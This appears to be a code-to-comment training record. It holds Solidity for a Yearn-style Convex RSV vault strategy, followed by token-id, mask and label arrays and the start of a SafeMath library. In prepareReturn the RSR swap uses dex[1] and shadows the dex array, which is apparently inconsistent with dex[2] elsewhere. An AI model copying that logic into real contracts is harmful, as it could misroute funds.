msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// Part: ConvexStable
abstract contract ConvexStable is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
address public constant booster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31);
address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
address public constant quoter = address(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);
address public constant uniswapv3 = address(0xE592427A0AEce92De3Edee1F18E0157C05861564);
address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
uint256 public constant DENOMINATOR = 10000;
bool public isClaimRewards;
bool public isClaimExtras;
uint256 public id;
address public rewardContract;
address public curve;
address[] public dex;
uint256 public keepCRV;
constructor(address _vault) public BaseStrategy(_vault) {
minReportDelay = 12 hours;
maxReportDelay = 3 days;
profitFactor = 1000;
debtThreshold = 1e24;
keepCRV = 1000;
}
function _approveBasic() internal {
want.approve(booster, 0);
want.approve(booster, type(uint256).max);
IERC20(dai).safeApprove(curve, 0);
IERC20(dai).safeApprove(curve, type(uint256).max);
IERC20(usdc).safeApprove(curve, 0);
IERC20(usdc).safeApprove(curve, type(uint256).max);
IERC20(usdt).safeApprove(curve, 0);
IERC20(usdt).safeApprove(curve, type(uint256).max);
}
function _approveDex() internal virtual {
IERC20(crv).approve(dex[0], 0);
IERC20(crv).approve(dex[0], type(uint256).max);
IERC20(cvx).approve(dex[1], 0);
IERC20(cvx).approve(dex[1], type(uint256).max);
}
function approveAll() external onlyAuthorized {
_approveBasic();
_approveDex();
}
function setKeepCRV(uint256 _keepCRV) external onlyAuthorized {
keepCRV = _keepCRV;
}
function switchDex(uint256 _id, address _dex) external onlyAuthorized {
dex[_id] = _dex;
_approveDex();
}
function setIsClaimRewards(bool _isClaimRewards) external onlyAuthorized {
isClaimRewards = _isClaimRewards;
}
function setIsClaimExtras(bool _isClaimExtras) external onlyAuthorized {
isClaimExtras = _isClaimExtras;
}
function withdrawToConvexDepositTokens() external onlyAuthorized {
uint256 staked = Rewards(rewardContract).balanceOf(address(this));
Rewards(rewardContract).withdraw(staked, isClaimRewards);
}
function name() external view override returns (string memory) {
return string(abi.encodePacked("Convex", IERC20Metadata(address(want)).symbol()));
}
function balanceOfWant() public view returns (uint256) {
return want.balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
return Rewards(rewardContract).balanceOf(address(this));
}
function estimatedTotalAssets() public view override returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit) return;
uint256 _want = balanceOfWant();
if (_want > 0) {
Booster(booster).deposit(id, _want, true);
}
}
function _withdrawSome(uint256 _amount) internal returns (uint256) {
_amount = Math.min(_amount, balanceOfPool());
uint _before = balanceOfWant();
Rewards(rewardContract).withdrawAndUnwrap(_amount, false);
return balanceOfWant().sub(_before);
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
uint256 _balance = balanceOfWant();
if (_balance < _amountNeeded) {
_liquidatedAmount = _withdrawSome(_amountNeeded - _balance);
_liquidatedAmount = Math.min(_liquidatedAmount.add(_balance), _amountNeeded);
if (_amountNeeded > _liquidatedAmount) {
_loss = _amountNeeded - _liquidatedAmount; // this should be 0. o/w there must be an error
}
}
else {
_liquidatedAmount = _amountNeeded;
}
}
function prepareMigration(address _newStrategy) internal override {
Rewards(rewardContract).withdrawAllAndUnwrap(isClaimRewards);
_migrateRewards(_newStrategy);
}
function _migrateRewards(address _newStrategy) internal virtual {
IERC20(crv).safeTransfer(_newStrategy, IERC20(crv).balanceOf(address(this)));
IERC20(cvx).safeTransfer(_newStrategy, IERC20(cvx).balanceOf(address(this)));
}
function _adjustCRV(uint256 _crv) internal returns (uint256) {
uint256 _keepCRV = _crv.mul(keepCRV).div(DENOMINATOR);
if (_keepCRV > 0) IERC20(crv).safeTransfer(voter, _keepCRV);
return _crv.sub(_keepCRV);
}
function _claimableBasicInETH() internal view returns (uint256) {
uint256 _crv = Rewards(rewardContract).earned(address(this));
// calculations pulled directly from CVX's contract for minting CVX per CRV claimed
uint256 totalCliffs = 1000;
uint256 maxSupply = 1e8 * 1e18; // 100m
uint256 reductionPerCliff = 1e5 * 1e18; // 100k
uint256 supply = IERC20(cvx).totalSupply();
uint256 _cvx;
uint256 cliff = supply.div(reductionPerCliff);
// mint if below total cliffs
if (cliff < totalCliffs) {
// for reduction% take inverse of current cliff
uint256 reduction = totalCliffs.sub(cliff);
// reduce
_cvx = _crv.mul(reduction).div(totalCliffs);
// supply cap check
uint256 amtTillMax = maxSupply.sub(supply);
if (_cvx > amtTillMax) {
_cvx = amtTillMax;
}
}
uint256 crvValue;
if (_crv > 0) {
address[] memory path = new address[](2);
path[0] = crv;
path[1] = weth;
uint256[] memory crvSwap = Uni(dex[0]).getAmountsOut(_crv, path);
crvValue = crvSwap[1];
}
uint256 cvxValue;
if (_cvx > 0) {
address[] memory path = new address[](2);
path[0] = cvx;
path[1] = weth;
uint256[] memory cvxSwap = Uni(dex[1]).getAmountsOut(_cvx, path);
cvxValue = cvxSwap[1];
}
return crvValue.add(cvxValue);
}
function _claimableInETH() internal virtual view returns (uint256 _claimable) {
_claimable = _claimableBasicInETH();
}
// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary
function harvestTrigger(uint256 callCost) public override view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
if (params.activation == 0) return false;
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
uint256 total = estimatedTotalAssets();
if (total.add(debtThreshold) < params.totalDebt) return true;
return (profitFactor.mul(callCost) < _claimableInETH());
}
}
// File: rsv.sol
contract Strategy is ConvexStable {
address[] public pathTarget;
address public constant rsr = address(0x8762db106B2c2A0bccB3A80d1Ed41273552616E8);
uint24 public fee;
constructor(address _vault) public ConvexStable(_vault) {
curve = address(0xBE175115BF33E12348ff77CcfEE4726866A0Fbd5);
id = 15;
isClaimRewards = true; // default is true, turn off in emergency
// isClaimExtras = true; // add this if there are extra rewards
(address _lp,,,address _reward,,) = Booster(booster).poolInfo(id);
require(_lp == address(want), "constructor: incorrect lp token");
rewardContract = _reward;
_approveBasic();
pathTarget = new address[](3);
_setPathTarget(0, 0); // crv path target
_setPathTarget(1, 0); // cvx path target
_setPathTarget(2, 1); // rsr path target
dex = new address[](3);
dex[0] = sushiswap; // crv
dex[1] = sushiswap; // cvx
dex[2] = uniswapv3; // rsr
_setUniswapV3PoolFee(500);
_approveDex();
}
// >>> approve other rewards on dex
function _approveDex() internal override {
super._approveDex();
IERC20(rsr).approve(dex[2], 0);
IERC20(rsr).approve(dex[2], type(uint256).max);
}
// >>> include other rewards
function _migrateRewards(address _newStrategy) internal override {
super._migrateRewards(_newStrategy);
IERC20(rsr).safeTransfer(_newStrategy, IERC20(rsr).balanceOf(address(this)));
}
// >>> include all other rewards in eth besides _claimableBasicInETH()
function _claimableInETH() internal override view returns (uint256 _claimable) {
_claimable = super._claimableInETH();
uint256 _rsr = IERC20(rsr).balanceOf(address(this));
if (_rsr > 0) {
address _dex = dex[2];
if (_dex == uniswapv3) {
uint256 amountOut = Uni(quoter).quoteExactInput(abi.encodePacked(rsr, uint24(3000), weth), _rsr);
_claimable = _claimable.add(amountOut);
}
else {
address[] memory path = new address[](2);
path[0] = rsr;
path[1] = weth;
uint256[] memory swap = Uni(_dex).getAmountsOut(_rsr, path);
_claimable = _claimable.add(swap[1]);
}
}
}
function _setPathTarget(uint _tokenId, uint _id) internal {
if (_id == 0) {
pathTarget[_tokenId] = dai;
}
else if (_id == 1) {
pathTarget[_tokenId] = usdc;
}
else {
pathTarget[_tokenId] = usdt;
}
}
function setPathTarget(uint _tokenId, uint _id) external onlyAuthorized {
_setPathTarget(_tokenId, _id);
}
// >>> change uniswap v3 pool fee
function _setUniswapV3PoolFee(uint24 _fee) internal {
fee = _fee;
}
function setUniswapV3PoolFee(uint24 _fee) external onlyAuthorized {
_setUniswapV3PoolFee(_fee);
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
uint before = balanceOfWant();
Rewards(rewardContract).getReward(address(this), isClaimExtras);
uint256 _crv = IERC20(crv).balanceOf(address(this));
if (_crv > 0) {
_crv = _adjustCRV(_crv);
address[] memory path = new address[](3);
path[0] = crv;
path[1] = weth;
path[2] = pathTarget[0];
Uni(dex[0]).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now);
}
uint256 _cvx = IERC20(cvx).balanceOf(address(this));
if (_cvx > 0) {
address[] memory path = new address[](3);
path[0] = cvx;
path[1] = weth;
path[2] = pathTarget[1];
Uni(dex[1]).swapExactTokensForTokens(_cvx, uint256(0), path, address(this), now);
}
uint256 _rsr = IERC20(rsr).balanceOf(address(this));
if (_rsr > 0) {
address dex = dex[1];
if (dex == uniswapv3) {
Uni(dex).exactInput(Uni.ExactInputParams(
abi.encodePacked(
rsr,
uint24(3000),
weth,
fee,
pathTarget[1]
),
address(this),
now,
_rsr,
uint256(0)
));
}
else {
address[] memory path = new address[](3);
path[0] = rsr;
path[1] = weth;
path[2] = pathTarget[1];
Uni(dex).swapExactTokensForTokens(_rsr, uint256(0), path, address(this), now);
}
}
uint256 _dai = IERC20(dai).balanceOf(address(this));
uint256 _usdc = IERC20(usdc).balanceOf(address(this));
uint256 _usdt = IERC20(usdt).balanceOf(address(this));
if (_dai > 0 || _usdc > 0 || _usdt > 0) {
ICurveFi(curve).add_liquidity([0, _dai, _usdc, _usdt], 0);
}
_profit = balanceOfWant().sub(before);
uint _total = estimatedTotalAssets();
uint _debt = vault.strategies(address(this)).totalDebt;
if(_total < _debt) {
_loss = _debt - _total;
_profit = 0;
}
if (_debtOutstanding > 0) {
_withdrawSome(_debtOutstanding);
_debtPayment = Math.min(_debtOutstanding, balanceOfWant().sub(_profit));
}
}
function protectedTokens()
internal
view
override
returns (address[] memory)
{
address[] memory protected = new address[](3);
protected[0] = crv;
protected[1] = cvx;
protected[2] = rsr;
return protected;
}
} | >>> include other rewards | function _migrateRewards(address _newStrategy) internal override {
super._migrateRewards(_newStrategy);
IERC20(rsr).safeTransfer(_newStrategy, IERC20(rsr).balanceOf(address(this)));
}
| 12,218,176 | [
1,
23012,
2341,
1308,
283,
6397,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
22083,
17631,
14727,
12,
2867,
389,
2704,
4525,
13,
2713,
3849,
288,
203,
3639,
2240,
6315,
22083,
17631,
14727,
24899,
2704,
4525,
1769,
203,
3639,
467,
654,
39,
3462,
12,
5453,
86,
2934,
4626,
5912,
24899,
2704,
4525,
16,
467,
654,
39,
3462,
12,
5453,
86,
2934,
12296,
951,
12,
2867,
12,
2211,
3719,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* SafeMath <https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol/>
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Released under the MIT License (MIT)
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
